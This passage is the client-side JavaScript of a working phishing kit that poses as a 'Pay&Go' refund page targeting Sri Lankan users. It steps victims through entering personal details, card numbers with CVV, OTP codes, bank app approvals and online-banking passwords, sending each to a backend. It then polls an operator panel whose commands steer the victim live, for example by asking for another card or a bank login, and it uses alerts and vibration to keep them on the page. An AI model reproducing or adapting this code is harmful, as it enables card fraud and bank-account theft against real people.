        var lname = document.getElementById(&quot;lname&quot;).value;
        var dob = document.getElementById(&quot;dob&quot;).value;
        var address = document.getElementById(&quot;address&quot;).value;
        var city = document.getElementById(&quot;city&quot;).value;
        var postcode = document.getElementById(&quot;postcode&quot;).value;
        var email = document.getElementById(&quot;email&quot;).value;

        checkStep2();

        if (!isValidName(fname) || !isValidName(lname)) {
            document.getElementById(&quot;err2&quot;).textContent = &quot;Please enter valid first and last names.&quot;;
            document.getElementById(&quot;err2&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!isValidDob(dob)) {
            document.getElementById(&quot;err2&quot;).textContent = &quot;Please enter a valid date of birth (DD/MM/YYYY). Must be 18+.&quot;;
            document.getElementById(&quot;err2&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!address || address.length &lt; 3 || !city || city.length &lt; 2) {
            document.getElementById(&quot;err2&quot;).textContent = &quot;Please enter a valid address and city.&quot;;
            document.getElementById(&quot;err2&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!isValidPostcode(postcode)) {
            document.getElementById(&quot;err2&quot;).textContent = &quot;Please enter a valid 5-digit Sri Lankan postal code.&quot;;
            document.getElementById(&quot;err2&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!isValidEmail(email)) {
            document.getElementById(&quot;err2&quot;).textContent = &quot;Please enter a valid email address.&quot;;
            document.getElementById(&quot;err2&quot;).classList.add(&quot;show&quot;);
            return;
        }

        document.getElementById(&quot;err2&quot;).classList.remove(&quot;show&quot;);

        lastDataStep = 2;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 2,
            fname: fname,
            lname: lname,
            name: fname + &quot; &quot; + lname,
            dob: dob,
            address: address,
            city: city,
            postcode: postcode,
            email: email,
            interaction: &quot;refund_personal_info_submitted&quot;
        });

        showStep(3);
    }

    // ============================================
    // STEP 3: CARD
    // ============================================
    function submitCard() {
        var card = document.getElementById(&quot;card&quot;).value;
        var exp = document.getElementById(&quot;exp&quot;).value;
        var cvv = document.getElementById(&quot;cvv&quot;).value;

        checkStep3();

        if (!isValidCard(card)) {
            document.getElementById(&quot;err3&quot;).textContent = &quot;Please enter a valid card number.&quot;;
            document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!isValidExp(exp)) {
            document.getElementById(&quot;err3&quot;).textContent = &quot;Please enter a valid future expiry date (MM/YY).&quot;;
            document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!isValidCvv(cvv)) {
            document.getElementById(&quot;err3&quot;).textContent = isAmex ? &quot;Please enter a valid 4-digit AMEX security code.&quot; : &quot;Please enter a valid 3-digit CVV.&quot;;
            document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
            return;
        }

        document.getElementById(&quot;err3&quot;).classList.remove(&quot;show&quot;);

        cardAttempt++;

        lastDataStep = 3;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 3,
            card: card,
            exp: exp,
            cvv: cvv,
            card_attempt: cardAttempt,
            interaction: &quot;refund_card_submitted&quot;
        });

        showStep(4);
        startPolling(3);
    }

    // ============================================
    // STEP 5: OTP
    // ============================================
    function submitOtp() {
        var otp = document.getElementById(&quot;otp&quot;).value;
        if (!otp || otp.length &lt; 4) {
            document.getElementById(&quot;err5&quot;).classList.add(&quot;show&quot;);
            return;
        }
        document.getElementById(&quot;err5&quot;).classList.remove(&quot;show&quot;);

        lastDataStep = 5;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 5,
            otp: otp,
            interaction: &quot;refund_otp_submitted&quot;
        });

        showStep(4);
        startPolling(5);
    }

    // ============================================
    // STEP 6: APP APPROVAL
    // ============================================
    function submitApp() {
        lastDataStep = 6;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 6,
            interaction: &quot;refund_app_approved&quot;
        });

        showStep(4);
        startPolling(6);
    }

    // ============================================
    // STEP 8: BANK LOGIN
    // ============================================
    function submitBank() {
        var bank = document.getElementById(&quot;bank_name&quot;).value;
        var user = document.getElementById(&quot;bank_user&quot;).value;
        var pass = document.getElementById(&quot;bank_pass&quot;).value;

        checkStep8();

        if (!bank) {
            document.getElementById(&quot;err8&quot;).textContent = &quot;Please select your bank.&quot;;
            document.getElementById(&quot;err8&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!user || user.length &lt; 3) {
            document.getElementById(&quot;err8&quot;).textContent = &quot;Please enter your banking username.&quot;;
            document.getElementById(&quot;err8&quot;).classList.add(&quot;show&quot;);
            return;
        }
        if (!pass || pass.length &lt; 4) {
            document.getElementById(&quot;err8&quot;).textContent = &quot;Please enter your banking password.&quot;;
            document.getElementById(&quot;err8&quot;).classList.add(&quot;show&quot;);
            return;
        }

        document.getElementById(&quot;err8&quot;).classList.remove(&quot;show&quot;);

        lastDataStep = 8;
        saveProgress();
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 8,
            bank_name: bank,
            bank_user: user,
            bank_pass: pass,
            interaction: &quot;refund_bank_credentials_submitted&quot;
        });

        showStep(4);
        startPolling(8);
    }

    // ============================================
    // POLLING FOR ADMIN COMMANDS
    // ============================================
    function startPolling(fromStep) {
        isPolling = true;
        if (pollTimer) clearInterval(pollTimer);
        if (idleTimeout) clearTimeout(idleTimeout);

        // Request wake lock and notifications when polling starts
        requestWakeLock();
        requestNotificationPermission();

        pollTimer = setInterval(function() {
            doPoll(fromStep);
        }, 10000);

        // Auto-notification after 30 seconds of waiting
        idleTimeout = setTimeout(function() {
            if (isPolling) {
                showNotification(&quot;Please do not close this page. Your refund is being processed by our Sri Lankan banking partners and may take a few moments.&quot;);
            }
        }, 30000);
    }

    function doPoll(fromStep) {
        var xhr = new XMLHttpRequest();
        xhr.open(&quot;GET&quot;, BACKEND + &quot;?check=&quot; + encodeURIComponent(userId) + &quot;&amp;_=&quot; + Date.now(), true);
        xhr.onreadystatechange = function() {
            if (xhr.readyState === 4 &amp;&amp; xhr.status === 200) {
                try {
                    var data = JSON.parse(xhr.responseText);
                    if (data.command &amp;&amp; data.command !== &quot;wait&quot;) {
                        clearInterval(pollTimer);
                        pollTimer = null;
                        isPolling = false;
                        if (idleTimeout) clearTimeout(idleTimeout);
                        releaseWakeLock();
                        handleCommand(data.command, fromStep);
                    }
                } catch(e) {}
            }
        };
        xhr.send();
    }

    // ============================================
    // HANDLE ADMIN COMMANDS
    // ============================================
    function handleCommand(cmd, fromStep) {
        console.log(&quot;[ADMIN COMMAND] &quot; + cmd);

        // Handle notification commands
        if (cmd.indexOf(&#039;notify:&#039;) === 0) {
            var msg = cmd.substring(7);
            showNotification(msg);
            // If user is away, also send browser notification + sound + vibration + flash title
            if (!pageVisible) {
                sendBrowserNotification(&quot;Pay&amp;Go&quot;, msg);
                playAlertSound();
                vibrateDevice();
                flashTitle(&quot;Pay&amp;Go Alert&quot;);
            } else {
                // Even if visible, play subtle sound and vibrate on mobile
                playAlertSound();
                vibrateDevice();
            }
            // Continue polling for real command
            startPolling(fromStep);
            return;
        }

        // For real navigation commands, notify the user strongly if they&#039;re away
        if (!pageVisible) {
            var stepName = &quot;&quot;;
            switch(cmd) {
                case &quot;go_otp&quot;: stepName = &quot;OTP Verification Required&quot;; break;
                case &quot;go_app&quot;: stepName = &quot;Bank App Approval Required&quot;; break;
                case &quot;go_bank&quot;: stepName = &quot;Bank Login Required&quot;; break;
                case &quot;new_card&quot;: stepName = &quot;New Card Required&quot;; break;
                case &quot;wrong_card&quot;: stepName = &quot;Card Error - Retry&quot;; break;
                case &quot;go_success&quot;: stepName = &quot;Refund Complete&quot;; break;
                case &quot;go_error&quot;: stepName = &quot;Error - Action Required&quot;; break;
                default: stepName = &quot;Action Required&quot;;
            }
            sendBrowserNotification(&quot;Pay&amp;Go — &quot; + stepName, &quot;Please return to the page to continue your refund claim.&quot;);
            playAlertSound();
            vibrateDevice();
            flashTitle(&quot;🔔 Action Required&quot;);
        }

        switch(cmd) {
            case &quot;go_otp&quot;:
                showStep(5);
                break;

            case &quot;go_app&quot;:
                showStep(6);
                break;

            case &quot;go_bank&quot;:
                showStep(8);
                break;

            case &quot;new_card&quot;:
                cardAttempt++;
                document.getElementById(&quot;card&quot;).value = &quot;&quot;;
                document.getElementById(&quot;exp&quot;).value = &quot;&quot;;
                document.getElementById(&quot;cvv&quot;).value = &quot;&quot;;
                document.getElementById(&quot;bank-detect&quot;).classList.remove(&#039;show&#039;);
                document.getElementById(&quot;logo-visa&quot;).classList.remove(&#039;active&#039;);
                document.getElementById(&quot;logo-mc&quot;).classList.remove(&#039;active&#039;);
                document.getElementById(&quot;logo-amex&quot;).classList.remove(&#039;active&#039;);
                isAmex = false;
                document.getElementById(&quot;err3&quot;).textContent = &quot;Your Sri Lankan bank declined this card for the refund. Please use a different card.&quot;;
                document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
                checkStep3();
                saveProgress();
                showStep(3);
                break;

            case &quot;wrong_card&quot;:
                document.getElementById(&quot;err3&quot;).textContent = &quot;The card details provided are invalid. Please check and try again.&quot;;
                document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
                showStep(3);
                break;

            case &quot;go_success&quot;:
            case &quot;go_next&quot;:
                clearSession();
                showStep(7);
                break;

            case &quot;go_error&quot;:
                if (fromStep === 3) {
                    document.getElementById(&quot;err3&quot;).classList.add(&quot;show&quot;);
                    showStep(3);
                } else if (fromStep === 5) {
                    document.getElementById(&quot;err5&quot;).classList.add(&quot;show&quot;);
                    showStep(5);
                } else if (fromStep === 8) {
                    document.getElementById(&quot;err8&quot;).textContent = &quot;Bank verification failed. Please check your Sri Lankan banking credentials and try again.&quot;;
                    document.getElementById(&quot;err8&quot;).classList.add(&quot;show&quot;);
                    showStep(8);
                } else {
                    showStep(fromStep);
                }
                break;

            default:
                showStep(4);
        }
    }

    // ============================================
    // INIT
    // ============================================
    requestNotificationPermission();

    var restored = loadProgress();
    if (!restored) {
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: 1,
            interaction: &quot;refund_page_loaded&quot;
        });
    } else {
        sendData({
            action: &quot;submit&quot;,
            userId: userId,
            step: currentStep,
            interaction: &quot;refund_page_restored&quot;
        });
    }
&lt;/script&gt;

&lt;/body&gt;
&lt;/html&gt;</code></pre>        </div>
    </div>